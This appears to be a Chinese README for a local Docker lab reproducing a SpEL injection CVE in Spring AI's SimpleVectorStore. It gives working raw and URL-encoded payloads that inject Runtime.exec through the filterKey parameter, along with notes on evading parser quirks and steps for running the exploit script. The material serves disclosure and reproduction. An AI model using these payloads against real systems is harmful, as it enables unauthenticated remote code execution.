
SpEL Injection via Unescaped Filter Key in SimpleVectorStore Leads to Remote Code Execution

CVE-2026-22738 是 Spring AI SimpleVectorStore 中的 SpEL (Spring Expression Language) 注入漏洞,可导致未经身份验证的远程代码执行 (RCE)。
| Artifact | 受影响版本 | 修复版本 |
|---|---|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
注意: 本项目使用 spring-ai-core:1.0.0 正式版本进行漏洞复现。
修复提交: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() 方法将用户提供的过滤器键名原封不动地传递给 SpEL 模板,并由 StandardEvaluationContext 进行评估。由于 StandardEvaluationContext 暴露了完整的 JVM 反射 API,攻击者可以注入:
T(java.lang.Runtime).getRuntime().exec(...)
将过滤键添加到实现未经身份验证的操作系统命令执行中。
使用如下payload,注意需要进行一次url编码
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
将payload传递给filterKey参数,成功弹出计算器

简单的注入方法无法直接生效——必须克服解析器的两个怪癖:
单引号剥离 — 以单引号开头的密钥 ' 被视为带引号的字符串;外部引号将被剥离,从而破坏有效载荷。
双引号包装器 — 将有效负载包装在双引号中 "..." 会导致解析器剥离外部双引号,从而将内部 SpEL 表达式保留为传递给解析器的键值 #metadata['<KEY>']。
空元数据键 — #metadata[''] 在注入表达式的两侧使用(而不是未定义的变量)可以避免 unknown variable SpEL 错误,同时仍然触发 exec()。
计算得到的表达式形式如下:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
HTTP 响应正文将包含 EL1030E SpEL 运行时错误:
operator ADD not supported between null and java.lang.ProcessImpl
此错误在 exec() 返回后引发,确认操作系统级命令执行完毕,无需带外回调。
pip install requests)# 构建并启动容器
docker compose up -d --build
# 查看日志
docker compose logs -f
# 安装依赖
pip install requests
# 运行漏洞利用(等待应用启动)
python3 exploit.py --wait
# 或指定目标
python3 exploit.py --target http://localhost:8082 --wait
| 标志 | 默认值 | 描述 |
|---|---|---|
--target | http://localhost:8082 | 易受攻击应用程序的基本 URL |
--wait | 关闭 | 轮询直到目标准备就绪(在 docker compose up 之后有用) |
注意: Docker Desktop (macOS/Windows) 使用 host.docker.internal 用于回调,127.0.0.1 有效负载。
该概念验证流程包含五个连续步骤:
T(java.lang.System) 确认 java.version 注射点touch /tmp/pwned_cve_2026_22738 在容器内部id // uname 输出 hostname 到 /tmp/rce_proof.txtdocker exec 打印校样文件内容进行验证├── Dockerfile # Docker 构建文件
├── docker-compose.yml # Docker Compose 配置
├── pom.xml # Maven 项目配置
├── settings.xml # Maven 设置(包含 Spring 仓库)
├── exploit.py # 漏洞利用脚本
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # Spring Boot 主类
├── VulnController.java # 漏洞控制器
├── VectorStoreConfig.java # VectorStore 配置
└── DummyEmbeddingModel.java # 模拟 Embedding 模型
# 编译项目
mvn clean package -DskipTests
# 运行应用
java -jar target/spel-rce-lab-1.0.0.jar
# 在另一个终端运行漏洞利用
python3 exploit.py --target http://localhost:8082